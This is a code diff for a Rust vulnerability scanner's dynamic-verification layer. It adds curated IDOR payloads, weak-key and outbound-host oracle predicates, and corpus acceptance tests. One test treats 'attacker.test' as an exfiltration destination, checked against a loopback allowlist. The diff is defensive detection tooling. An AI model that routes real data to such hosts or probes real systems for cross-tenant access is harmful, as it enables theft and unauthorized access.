fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/ruby/vuln.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "idor-ruby-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "idor-ruby-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/ruby/benign.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
41
src/dynamic/corpus/unauthorized_id/rust.rs
Normal file
41
src/dynamic/corpus/unauthorized_id/rust.rs
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
//! rust `Cap::UNAUTHORIZED_ID` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"bob",
|
||||
label: "idor-rust-cross-tenant",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/rust/vuln.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "idor-rust-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "idor-rust-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/rust/benign.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
|
|
@ -315,6 +315,54 @@ pub enum ProbePredicate {
|
|||
/// [`ProbeKind::PrototypePollution::property`].
|
||||
canary: &'static str,
|
||||
},
|
||||
/// Phase 11 (Track J.9): CRYPTO weak-key entropy predicate.
|
||||
///
|
||||
/// Fires when at least one drained probe carries
|
||||
/// [`ProbeKind::WeakKey`] whose `key_int` is strictly less than
|
||||
/// `2^max_bits` — i.e. the produced key actually fits inside the
|
||||
/// search-space budget the predicate models. A benign control
|
||||
/// generated by a cryptographically strong RNG produces a
|
||||
/// `key_int` whose magnitude trivially exceeds the budget, so the
|
||||
/// predicate stays clear.
|
||||
///
|
||||
/// Cross-cutting in the same sense as
|
||||
/// [`Self::DeserializeGadgetInvoked`] /
|
||||
/// [`Self::XxeEntityExpanded`] — evaluated across every drained
|
||||
/// probe rather than against a single record.
|
||||
WeakKeyEntropy {
|
||||
/// Maximum effective-entropy budget (in bits) the produced
|
||||
/// key may consume before the oracle fires. 16 matches the
|
||||
/// brief's "fits in a 16-bit search space" oracle.
|
||||
max_bits: u32,
|
||||
},
|
||||
/// Phase 11 (Track J.9): UNAUTHORIZED_ID IDOR boundary predicate.
|
||||
///
|
||||
/// Fires when at least one drained probe carries
|
||||
/// [`ProbeKind::IdorAccess`] whose `caller_id` differs from
|
||||
/// `owner_id`. Cross-cutting in the same sense as
|
||||
/// [`Self::DeserializeGadgetInvoked`] /
|
||||
/// [`Self::XxeEntityExpanded`] — evaluated across every drained
|
||||
/// probe rather than against a single record.
|
||||
IdorBoundaryCrossed,
|
||||
/// Phase 11 (Track J.9): DATA_EXFIL outbound-host predicate.
|
||||
///
|
||||
/// Fires when at least one drained probe carries
|
||||
/// [`ProbeKind::OutboundNetwork`] whose `host` falls outside the
|
||||
/// `allowlist`. Hosts are compared case-insensitively; the
|
||||
/// canonical allowlist for benign controls is `&["127.0.0.1",
|
||||
/// "localhost"]` so a vulnerable host that exfiltrates to
|
||||
/// `attacker.test` resolves off-list and confirms.
|
||||
///
|
||||
/// Cross-cutting in the same sense as
|
||||
/// [`Self::DeserializeGadgetInvoked`] /
|
||||
/// [`Self::XxeEntityExpanded`] — evaluated across every drained
|
||||
/// probe rather than against a single record.
|
||||
OutboundHostNotIn {
|
||||
/// Allowlist of permitted egress hosts (e.g.
|
||||
/// `&["127.0.0.1", "localhost"]`). A probe whose `host`
|
||||
/// matches any entry is treated as same-origin.
|
||||
allowlist: &'static [&'static str],
|
||||
},
|
||||
/// Phase 06 (Track J.4) / Phase 07 (Track J.5): result-count
|
||||
/// predicate shared by LDAP-filter and XPath-expression injection.
|
||||
///
|
||||
|
|
@ -524,6 +572,35 @@ pub fn oracle_fired_with_stubs(
|
|||
if !canary_ok {
|
||||
return false;
|
||||
}
|
||||
// Phase 11 (Track J.9): CRYPTO weak-key, UNAUTHORIZED_ID
|
||||
// IDOR, DATA_EXFIL outbound-host cross-cutting predicates.
|
||||
let weak_key_ok = cross.iter().all(|p| match p {
|
||||
ProbePredicate::WeakKeyEntropy { max_bits } => {
|
||||
probes_satisfy_weak_key(probes, *max_bits)
|
||||
}
|
||||
_ => true,
|
||||
});
|
||||
if !weak_key_ok {
|
||||
return false;
|
||||
}
|
||||
let idor_ok = cross.iter().all(|p| match p {
|
||||
ProbePredicate::IdorBoundaryCrossed => {
|
||||
probes_satisfy_idor_crossed(probes)
|
||||
}
|
||||
_ => true,
|
||||
});
|
||||
if !idor_ok {
|
||||
return false;
|
||||
}
|
||||
let outbound_ok = cross.iter().all(|p| match p {
|
||||
ProbePredicate::OutboundHostNotIn { allowlist } => {
|
||||
probes_satisfy_outbound_off_list(probes, allowlist)
|
||||
}
|
||||
_ => true,
|
||||
});
|
||||
if !outbound_ok {
|
||||
return false;
|
||||
}
|
||||
// Phase 04 (Track J.2): SSTI render-equality cross-cutting
|
||||
// predicates. Each `TemplateEvalEqual { expected }` consults
|
||||
// the captured stdout body — see [`stdout_template_equals`].
|
||||
|
|
@ -558,7 +635,10 @@ pub fn oracle_fired_with_stubs(
|
|||
| ProbeKind::Xpath { .. }
|
||||
| ProbeKind::HeaderEmit { .. }
|
||||
| ProbeKind::Redirect { .. }
|
||||
| ProbeKind::PrototypePollution { .. } => false,
|
||||
| ProbeKind::PrototypePollution { .. }
|
||||
| ProbeKind::WeakKey { .. }
|
||||
| ProbeKind::IdorAccess { .. }
|
||||
| ProbeKind::OutboundNetwork { .. } => false,
|
||||
}),
|
||||
Oracle::OutputContains(needle) => {
|
||||
let nb = needle.as_bytes();
|
||||
|
|
@ -588,6 +668,9 @@ fn is_cross_cutting(pred: &ProbePredicate) -> bool {
|
|||
| ProbePredicate::HeaderInjected { .. }
|
||||
| ProbePredicate::RedirectHostNotIn { .. }
|
||||
| ProbePredicate::PrototypeCanaryTouched { .. }
|
||||
| ProbePredicate::WeakKeyEntropy { .. }
|
||||
| ProbePredicate::IdorBoundaryCrossed
|
||||
| ProbePredicate::OutboundHostNotIn { .. }
|
||||
)
|
||||
}
|
||||
|
||||
|
|
@ -624,6 +707,11 @@ fn cross_cutting_satisfied(pred: &ProbePredicate, stub_events: &[StubEvent]) ->
|
|||
// log* rather than stub events; evaluated separately in
|
||||
// [`probes_satisfy_prototype_canary`] below.
|
||||
ProbePredicate::PrototypeCanaryTouched { .. } => true,
|
||||
// Phase 11 (Track J.9) cross-cutters are all probe-log
|
||||
// backed and evaluated by their dedicated helpers below.
|
||||
ProbePredicate::WeakKeyEntropy { .. } => true,
|
||||
ProbePredicate::IdorBoundaryCrossed => true,
|
||||
ProbePredicate::OutboundHostNotIn { .. } => true,
|
||||
_ => true,
|
||||
}
|
||||
}
|
||||
|
|
@ -744,6 +832,60 @@ fn probes_satisfy_prototype_canary(probes: &[SinkProbe], canary: &str) -> bool {
|
|||
})
|
||||
}
|
||||
|
||||
/// True when at least one drained probe is a [`ProbeKind::WeakKey`]
|
||||
/// record whose `key_int` is strictly less than `2^max_bits`. Powers
|
||||
/// [`ProbePredicate::WeakKeyEntropy`] (Phase 11 — Track J.9).
|
||||
///
|
||||
/// `max_bits >= 64` is treated as "never fires" — a 64-bit key
|
||||
/// trivially exceeds any sub-search-space budget once you cap the
|
||||
/// integer view at `u64`. The brief calls for a 16-bit search-space
|
||||
/// oracle, so the real threshold sits far below `2^64`.
|
||||
fn probes_satisfy_weak_key(probes: &[SinkProbe], max_bits: u32) -> bool {
|
||||
if max_bits == 0 {
|
||||
return false;
|
||||
}
|
||||
if max_bits >= 64 {
|
||||
return probes
|
||||
.iter()
|
||||
.any(|p| matches!(p.kind, ProbeKind::WeakKey { .. }));
|
||||
}
|
||||
let budget = 1u64 << max_bits;
|
||||
probes.iter().any(|p| match &p.kind {
|
||||
ProbeKind::WeakKey { key_int } => *key_int < budget,
|
||||
_ => false,
|
||||
})
|
||||
}
|
||||
|
||||
/// True when at least one drained probe is a
|
||||
/// [`ProbeKind::IdorAccess`] record whose `caller_id` differs from
|
||||
/// `owner_id`. Powers
|
||||
/// [`ProbePredicate::IdorBoundaryCrossed`] (Phase 11 — Track J.9).
|
||||
fn probes_satisfy_idor_crossed(probes: &[SinkProbe]) -> bool {
|
||||
probes.iter().any(|p| match &p.kind {
|
||||
ProbeKind::IdorAccess { caller_id, owner_id } => caller_id != owner_id,
|
||||
_ => false,
|
||||
})
|
||||
}
|
||||
|
||||
/// True when at least one drained probe is a
|
||||
/// [`ProbeKind::OutboundNetwork`] record whose `host` falls outside
|
||||
/// `allowlist` (case-insensitive). Powers
|
||||
/// [`ProbePredicate::OutboundHostNotIn`] (Phase 11 — Track J.9).
|
||||
fn probes_satisfy_outbound_off_list(probes: &[SinkProbe], allowlist: &[&str]) -> bool {
|
||||
probes.iter().any(|p| match &p.kind {
|
||||
ProbeKind::OutboundNetwork { host } => {
|
||||
let h = host.trim().to_ascii_lowercase();
|
||||
if h.is_empty() {
|
||||
return false;
|
||||
}
|
||||
!allowlist
|
||||
.iter()
|
||||
.any(|a| h == a.trim().to_ascii_lowercase())
|
||||
}
|
||||
_ => false,
|
||||
})
|
||||
}
|
||||
|
||||
/// Returns `true` when `location` redirects to a host that is neither
|
||||
/// `request_host` nor any entry of `allowlist`. Crate-visible so the
|
||||
/// in-crate predicate above and the colocated tests can share one
|
||||
|
|
@ -851,7 +993,10 @@ fn probe_satisfies_one(probe: &SinkProbe, pred: &ProbePredicate) -> bool {
|
|||
| ProbePredicate::QueryResultCountGreaterThan { .. }
|
||||
| ProbePredicate::HeaderInjected { .. }
|
||||
| ProbePredicate::RedirectHostNotIn { .. }
|
||||
| ProbePredicate::PrototypeCanaryTouched { .. } => true,
|
||||
| ProbePredicate::PrototypeCanaryTouched { .. }
|
||||
| ProbePredicate::WeakKeyEntropy { .. }
|
||||
| ProbePredicate::IdorBoundaryCrossed
|
||||
| ProbePredicate::OutboundHostNotIn { .. } => true,
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -880,7 +1025,10 @@ pub fn probe_crash_signal(probe: &SinkProbe) -> Option<Signal> {
|
|||
| ProbeKind::Xpath { .. }
|
||||
| ProbeKind::HeaderEmit { .. }
|
||||
| ProbeKind::Redirect { .. }
|
||||
| ProbeKind::PrototypePollution { .. } => None,
|
||||
| ProbeKind::PrototypePollution { .. }
|
||||
| ProbeKind::WeakKey { .. }
|
||||
| ProbeKind::IdorAccess { .. }
|
||||
| ProbeKind::OutboundNetwork { .. } => None,
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -260,6 +260,49 @@ pub enum ProbeKind {
|
|||
/// that traversed the chain.
|
||||
value: String,
|
||||
},
|
||||
/// Phase 11 (Track J.9) weak-key entropy observation. Stamped by
|
||||
/// the per-language CRYPTO harness shim when the instrumented
|
||||
/// key-generation path produces a key whose effective entropy
|
||||
/// fits inside the search space the oracle pins. `key_int` is
|
||||
/// the integer-decoded view of the produced key bytes (truncated
|
||||
/// to a `u64`); the
|
||||
/// [`crate::dynamic::oracle::ProbePredicate::WeakKeyEntropy`]
|
||||
/// predicate fires when `key_int < 2^max_bits`.
|
||||
WeakKey {
|
||||
/// Truncated integer view of the produced key bytes. Big
|
||||
/// keys (e.g. an honest 2048-bit RSA modulus) hash down via
|
||||
/// `from_be_bytes` so a benign control with a strong key
|
||||
/// trivially exceeds any plausible `max_bits` budget.
|
||||
key_int: u64,
|
||||
},
|
||||
/// Phase 11 (Track J.9) IDOR / authorization-bypass observation.
|
||||
/// Stamped by the per-language UNAUTHORIZED_ID harness shim when
|
||||
/// the instrumented mock data store materialises a record whose
|
||||
/// `owner_id` differs from the harness's `caller_id`. The
|
||||
/// [`crate::dynamic::oracle::ProbePredicate::IdorBoundaryCrossed`]
|
||||
/// predicate fires whenever `caller_id != owner_id`.
|
||||
IdorAccess {
|
||||
/// Authenticated principal the harness modelled the request
|
||||
/// as arriving from. Compared case-sensitively against
|
||||
/// `owner_id`.
|
||||
caller_id: String,
|
||||
/// Owner of the record the host produced for the caller.
|
||||
owner_id: String,
|
||||
},
|
||||
/// Phase 11 (Track J.9) DATA_EXFIL outbound-network observation.
|
||||
/// Stamped by the per-language harness shim's mock HTTP client
|
||||
/// when the instrumented egress entry point (`http.post`,
|
||||
/// `requests.post`, `HttpURLConnection`, `Net::HTTP`, `fetch`,
|
||||
/// `http.NewRequest`, `reqwest::Client`) attempts to route the
|
||||
/// captured request body to a non-loopback host. The
|
||||
/// [`crate::dynamic::oracle::ProbePredicate::OutboundHostNotIn`]
|
||||
/// predicate fires when the captured host falls outside the
|
||||
/// configured allowlist (typically `127.0.0.1` / `localhost`).
|
||||
OutboundNetwork {
|
||||
/// Host the harness's mock HTTP client recorded. Compared
|
||||
/// case-insensitively against the allowlist entries.
|
||||
host: String,
|
||||
},
|
||||
}
|
||||
|
||||
impl Default for ProbeKind {
|
||||
|
|
|
|||
|
|
@ -97,6 +97,15 @@ pub struct Attempt {
|
|||
#[derive(Debug)]
|
||||
pub enum RunError {
|
||||
NoPayloadsForCap,
|
||||
/// Phase 11 (Track J.9): the requested cap is in the structural
|
||||
/// "no sound oracle" set
|
||||
/// ([`crate::dynamic::corpus::registry::CORPUS_SOUND_ORACLE_UNAVAILABLE`]).
|
||||
/// Surfaces as
|
||||
/// [`crate::evidence::UnsupportedReason::SoundOracleUnavailable`]
|
||||
/// at the verify boundary so unsupported-budget accounting
|
||||
/// distinguishes "no oracle exists" from "no payloads carved
|
||||
/// yet".
|
||||
SoundOracleUnavailable { cap: crate::labels::Cap, lang: Lang, hint: String },
|
||||
Harness(HarnessError),
|
||||
Sandbox(SandboxError),
|
||||
BuildFailed { stderr: String, attempts: u32 },
|
||||
|
|
@ -131,6 +140,22 @@ pub fn run_spec(spec: &HarnessSpec, opts: &SandboxOptions) -> Result<RunOutcome,
|
|||
payloads_for(spec.expected_cap)
|
||||
};
|
||||
if payloads.is_empty() {
|
||||
// Phase 11 (Track J.9): route caps with no sound oracle to a
|
||||
// distinct error so the unsupported budget reflects
|
||||
// structural impossibility rather than a missing payload.
|
||||
if (spec.expected_cap.bits()
|
||||
& crate::dynamic::corpus::registry::CORPUS_SOUND_ORACLE_UNAVAILABLE)
|
||||
!= 0
|
||||
{
|
||||
return Err(RunError::SoundOracleUnavailable {
|
||||
cap: spec.expected_cap,
|
||||
lang: spec.lang,
|
||||
hint: crate::dynamic::corpus::registry::sound_oracle_unavailable_hint(
|
||||
spec.expected_cap,
|
||||
)
|
||||
.to_owned(),
|
||||
});
|
||||
}
|
||||
return Err(RunError::NoPayloadsForCap);
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -60,7 +60,7 @@ pub const NYX_VERSION: &str = env!("CARGO_PKG_VERSION");
|
|||
/// [`crate::dynamic::corpus::CORPUS_VERSION`]; the compile-time assertion
|
||||
/// below + the [`corpus_version_const_matches_corpus_module`] runtime test
|
||||
/// jointly guard drift.
|
||||
pub const CORPUS_VERSION: &str = "14";
|
||||
pub const CORPUS_VERSION: &str = "15";
|
||||
|
||||
/// Compile-time guard that pins [`CORPUS_VERSION`] (this module) to the
|
||||
/// textual form of [`crate::dynamic::corpus::CORPUS_VERSION`]. Bumping the
|
||||
|
|
|
|||
|
|
@ -1182,6 +1182,20 @@ fn build_verdict(
|
|||
wrong: None,
|
||||
hardening_outcome: None,
|
||||
},
|
||||
Err(RunError::SoundOracleUnavailable { cap, lang, hint }) => VerifyResult {
|
||||
finding_id: finding_id.to_owned(),
|
||||
status: VerifyStatus::Unsupported,
|
||||
triggered_payload: None,
|
||||
reason: Some(UnsupportedReason::SoundOracleUnavailable { cap, lang, hint }),
|
||||
inconclusive_reason: None,
|
||||
detail: None,
|
||||
attempts: vec![],
|
||||
toolchain_match: None,
|
||||
differential: None,
|
||||
replay_stable: None,
|
||||
wrong: None,
|
||||
hardening_outcome: None,
|
||||
},
|
||||
Err(RunError::Harness(e)) => {
|
||||
// Defence-in-depth residual for `EntryKindUnsupported` from the
|
||||
// lang dispatcher. Promote to `Inconclusive(EntryKindUnsupported)`
|
||||
|
|
|
|||
|
|
@ -7,6 +7,7 @@
|
|||
#![allow(clippy::collapsible_if)]
|
||||
|
||||
use crate::commands::scan::Diag;
|
||||
use crate::labels::Cap;
|
||||
use crate::patterns::Severity;
|
||||
use crate::symbol::Lang;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
|
@ -192,6 +193,27 @@ pub enum UnsupportedReason {
|
|||
RequiredFileRedactedForSecrets(String),
|
||||
/// The language is not yet supported by the dynamic harness emitter.
|
||||
LangUnsupported,
|
||||
/// Phase 11 (Track J.9): the requested `(cap, lang)` pair has no
|
||||
/// payloads in the corpus because no sound oracle exists for it
|
||||
/// (e.g. `Cap::CRYPTO` "weak random" has no externally-observable
|
||||
/// test vector, `Cap::SHELL_ESCAPE` / `Cap::URL_ENCODE` /
|
||||
/// `Cap::ENV_VAR` are pure sanitizers / sources and cannot fire a
|
||||
/// sink). Distinct from
|
||||
/// [`UnsupportedReason::NoPayloadsForCap`]: that variant means a
|
||||
/// payload *could* exist but the corpus has not yet carved one,
|
||||
/// while `SoundOracleUnavailable` is a structural impossibility.
|
||||
/// Carries the cap, the language the runner was asked to drive,
|
||||
/// and a human-actionable hint pointing at why no oracle is
|
||||
/// achievable.
|
||||
SoundOracleUnavailable {
|
||||
/// The capability whose sink we cannot soundly observe.
|
||||
cap: Cap,
|
||||
/// The language the run targeted (kept for telemetry parity
|
||||
/// with the other typed reasons that carry a `Lang`).
|
||||
lang: Lang,
|
||||
/// One-line explanation of why no oracle exists for this cap.
|
||||
hint: String,
|
||||
},
|
||||
}
|
||||
|
||||
/// What kind of entry point a harness should call.
|
||||
|
|
|
|||
|
|
@ -579,6 +579,13 @@ fn format_unsupported_reason(r: &crate::evidence::UnsupportedReason) -> String {
|
|||
"file redacted for secrets".to_string()
|
||||
}
|
||||
UnsupportedReason::LangUnsupported => "language not supported".to_string(),
|
||||
UnsupportedReason::SoundOracleUnavailable { cap, lang, hint } => {
|
||||
if hint.is_empty() {
|
||||
format!("sound oracle unavailable ({cap:?}, {lang:?})")
|
||||
} else {
|
||||
format!("sound oracle unavailable ({cap:?}, {lang:?}): {hint}")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
|||
128
tests/crypto_corpus.rs
Normal file
128
tests/crypto_corpus.rs
Normal file
|
|
@ -0,0 +1,128 @@
|
|||
//! Phase 11 (Track J.9) — `Cap::CRYPTO` corpus acceptance.
|
||||
//!
|
||||
//! Asserts the new cap end-to-end at the corpus + oracle layer:
|
||||
//! per-language vuln/benign slices register, lang-aware benign-control
|
||||
//! resolution pairs them inside the correct slice, and the
|
||||
//! `WeakKeyEntropy` predicate fires only when a `WeakKey { key_int }`
|
||||
//! probe whose `key_int` is strictly less than `2^max_bits` lands on
|
||||
//! the channel. Per-lang harness dispatchers are deferred — see
|
||||
//! `.pitboss/play/deferred.md`.
|
||||
//!
|
||||
//! `cargo nextest run --features dynamic --test crypto_corpus`.
|
||||
|
||||
#![cfg(feature = "dynamic")]
|
||||
|
||||
use nyx_scanner::dynamic::corpus::{payloads_for_lang, resolve_benign_control_lang};
|
||||
use nyx_scanner::dynamic::oracle::{oracle_fired, Oracle, ProbePredicate};
|
||||
use nyx_scanner::dynamic::probe::{ProbeKind, ProbeWitness, SinkProbe};
|
||||
use nyx_scanner::dynamic::sandbox::SandboxOutcome;
|
||||
use nyx_scanner::labels::Cap;
|
||||
use nyx_scanner::symbol::Lang;
|
||||
use std::time::Duration;
|
||||
|
||||
const LANGS: &[Lang] = &[
|
||||
Lang::Java,
|
||||
Lang::Python,
|
||||
Lang::Php,
|
||||
Lang::Go,
|
||||
Lang::Rust,
|
||||
];
|
||||
|
||||
fn outcome() -> SandboxOutcome {
|
||||
SandboxOutcome {
|
||||
exit_code: Some(0),
|
||||
stdout: vec![],
|
||||
stderr: vec![],
|
||||
timed_out: false,
|
||||
oob_callback_seen: false,
|
||||
sink_hit: false,
|
||||
duration: Duration::from_millis(1),
|
||||
hardening_outcome: None,
|
||||
}
|
||||
}
|
||||
|
||||
fn weak_key_probe(key_int: u64) -> SinkProbe {
|
||||
SinkProbe {
|
||||
sink_callee: "__nyx_weak_key".into(),
|
||||
args: vec![],
|
||||
captured_at_ns: 1,
|
||||
payload_id: "crypto-test".into(),
|
||||
kind: ProbeKind::WeakKey { key_int },
|
||||
witness: ProbeWitness::empty(),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn corpus_registers_crypto_for_each_supported_lang() {
|
||||
for lang in LANGS {
|
||||
let slice = payloads_for_lang(Cap::CRYPTO, *lang);
|
||||
assert!(!slice.is_empty(), "CRYPTO has no payloads for {lang:?}");
|
||||
assert!(
|
||||
slice.iter().any(|p| !p.is_benign),
|
||||
"{lang:?} CRYPTO missing vuln payload",
|
||||
);
|
||||
assert!(
|
||||
slice.iter().any(|p| p.is_benign),
|
||||
"{lang:?} CRYPTO missing benign control",
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn crypto_payloads_pair_benign_controls_per_lang() {
|
||||
for lang in LANGS {
|
||||
let slice = payloads_for_lang(Cap::CRYPTO, *lang);
|
||||
let vuln = slice
|
||||
.iter()
|
||||
.find(|p| !p.is_benign)
|
||||
.expect("vuln payload");
|
||||
let resolved = resolve_benign_control_lang(vuln, Cap::CRYPTO, *lang)
|
||||
.expect("benign control resolves");
|
||||
assert!(resolved.is_benign);
|
||||
match &vuln.oracle {
|
||||
Oracle::SinkProbe { predicates } => {
|
||||
assert!(predicates.iter().any(|p| matches!(
|
||||
p,
|
||||
ProbePredicate::WeakKeyEntropy { max_bits: 16 }
|
||||
)));
|
||||
}
|
||||
other => panic!("expected SinkProbe, got {other:?}"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn weak_key_entropy_fires_below_budget() {
|
||||
let oracle = Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: 16 }],
|
||||
};
|
||||
let probes = vec![weak_key_probe(0x1234)];
|
||||
assert!(oracle_fired(&oracle, &outcome(), &probes));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn weak_key_entropy_clears_above_budget() {
|
||||
let oracle = Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: 16 }],
|
||||
};
|
||||
let probes = vec![weak_key_probe(u64::MAX / 2)];
|
||||
assert!(!oracle_fired(&oracle, &outcome(), &probes));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn weak_key_entropy_clears_with_no_probe() {
|
||||
let oracle = Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: 16 }],
|
||||
};
|
||||
assert!(!oracle_fired(&oracle, &outcome(), &[]));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn crypto_unsupported_for_other_langs() {
|
||||
for lang in [Lang::C, Lang::Cpp, Lang::Ruby, Lang::JavaScript, Lang::TypeScript] {
|
||||
assert!(
|
||||
payloads_for_lang(Cap::CRYPTO, lang).is_empty(),
|
||||
"CRYPTO has unexpected payloads for {lang:?}",
|
||||
);
|
||||
}
|
||||
}
|
||||
111
tests/data_exfil_corpus.rs
Normal file
111
tests/data_exfil_corpus.rs
Normal file
|
|
@ -0,0 +1,111 @@
|
|||
//! Phase 11 (Track J.9) — `Cap::DATA_EXFIL` corpus acceptance.
|
||||
//!
|
||||
//! Asserts the corpus + outbound-network oracle for all seven
|
||||
//! backend-capable languages. The vuln payload supplies an
|
||||
//! attacker-controlled host (`attacker.test`); the
|
||||
//! [`nyx_scanner::dynamic::oracle::ProbePredicate::OutboundHostNotIn`]
|
||||
//! predicate fires when the captured `host` falls outside the
|
||||
//! loopback allowlist (`&["127.0.0.1", "localhost"]`). Per-lang
|
||||
//! harness dispatchers are deferred — see
|
||||
//! `.pitboss/play/deferred.md`.
|
||||
//!
|
||||
//! `cargo nextest run --features dynamic --test data_exfil_corpus`.
|
||||
|
||||
#![cfg(feature = "dynamic")]
|
||||
|
||||
use nyx_scanner::dynamic::corpus::{payloads_for_lang, resolve_benign_control_lang};
|
||||
use nyx_scanner::dynamic::oracle::{oracle_fired, Oracle, ProbePredicate};
|
||||
use nyx_scanner::dynamic::probe::{ProbeKind, ProbeWitness, SinkProbe};
|
||||
use nyx_scanner::dynamic::sandbox::SandboxOutcome;
|
||||
use nyx_scanner::labels::Cap;
|
||||
use nyx_scanner::symbol::Lang;
|
||||
use std::time::Duration;
|
||||
|
||||
const LANGS: &[Lang] = &[
|
||||
Lang::Python,
|
||||
Lang::Ruby,
|
||||
Lang::Java,
|
||||
Lang::Php,
|
||||
Lang::JavaScript,
|
||||
Lang::Go,
|
||||
Lang::Rust,
|
||||
];
|
||||
|
||||
const ALLOWLIST: &[&str] = &["127.0.0.1", "localhost"];
|
||||
|
||||
fn outcome() -> SandboxOutcome {
|
||||
SandboxOutcome {
|
||||
exit_code: Some(0),
|
||||
stdout: vec![],
|
||||
stderr: vec![],
|
||||
timed_out: false,
|
||||
oob_callback_seen: false,
|
||||
sink_hit: false,
|
||||
duration: Duration::from_millis(1),
|
||||
hardening_outcome: None,
|
||||
}
|
||||
}
|
||||
|
||||
fn outbound_probe(host: &str) -> SinkProbe {
|
||||
SinkProbe {
|
||||
sink_callee: "__nyx_mock_http".into(),
|
||||
args: vec![],
|
||||
captured_at_ns: 1,
|
||||
payload_id: "data-exfil-test".into(),
|
||||
kind: ProbeKind::OutboundNetwork { host: host.into() },
|
||||
witness: ProbeWitness::empty(),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn corpus_registers_data_exfil_for_each_supported_lang() {
|
||||
for lang in LANGS {
|
||||
let slice = payloads_for_lang(Cap::DATA_EXFIL, *lang);
|
||||
assert!(!slice.is_empty(), "DATA_EXFIL missing for {lang:?}");
|
||||
assert!(slice.iter().any(|p| !p.is_benign));
|
||||
assert!(slice.iter().any(|p| p.is_benign));
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn data_exfil_payloads_pair_benign_per_lang() {
|
||||
for lang in LANGS {
|
||||
let slice = payloads_for_lang(Cap::DATA_EXFIL, *lang);
|
||||
let vuln = slice.iter().find(|p| !p.is_benign).expect("vuln");
|
||||
let resolved = resolve_benign_control_lang(vuln, Cap::DATA_EXFIL, *lang)
|
||||
.expect("benign control resolves");
|
||||
assert!(resolved.is_benign);
|
||||
match &vuln.oracle {
|
||||
Oracle::SinkProbe { predicates } => assert!(predicates.iter().any(|p| matches!(
|
||||
p,
|
||||
ProbePredicate::OutboundHostNotIn { .. }
|
||||
))),
|
||||
other => panic!("expected SinkProbe, got {other:?}"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn outbound_predicate_fires_off_allowlist() {
|
||||
let oracle = Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn {
|
||||
allowlist: ALLOWLIST,
|
||||
}],
|
||||
};
|
||||
assert!(oracle_fired(
|
||||
&oracle,
|
||||
&outcome(),
|
||||
&[outbound_probe("attacker.test")]
|
||||
));
|
||||
assert!(!oracle_fired(
|
||||
&oracle,
|
||||
&outcome(),
|
||||
&[outbound_probe("127.0.0.1")]
|
||||
));
|
||||
assert!(!oracle_fired(
|
||||
&oracle,
|
||||
&outcome(),
|
||||
&[outbound_probe("Localhost")]
|
||||
));
|
||||
assert!(!oracle_fired(&oracle, &outcome(), &[]));
|
||||
}
|
||||
12
tests/dynamic_fixtures/crypto/go/benign.go
Normal file
12
tests/dynamic_fixtures/crypto/go/benign.go
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
// Phase 11 (Track J.9) — Go CRYPTO benign control fixture.
|
||||
//
|
||||
// Uses crypto/rand.Read (a CSPRNG) for key derivation.
|
||||
package benign
|
||||
|
||||
import "crypto/rand"
|
||||
|
||||
func Run(_ string) []byte {
|
||||
buf := make([]byte, 32)
|
||||
_, _ = rand.Read(buf)
|
||||
return buf
|
||||
}
|
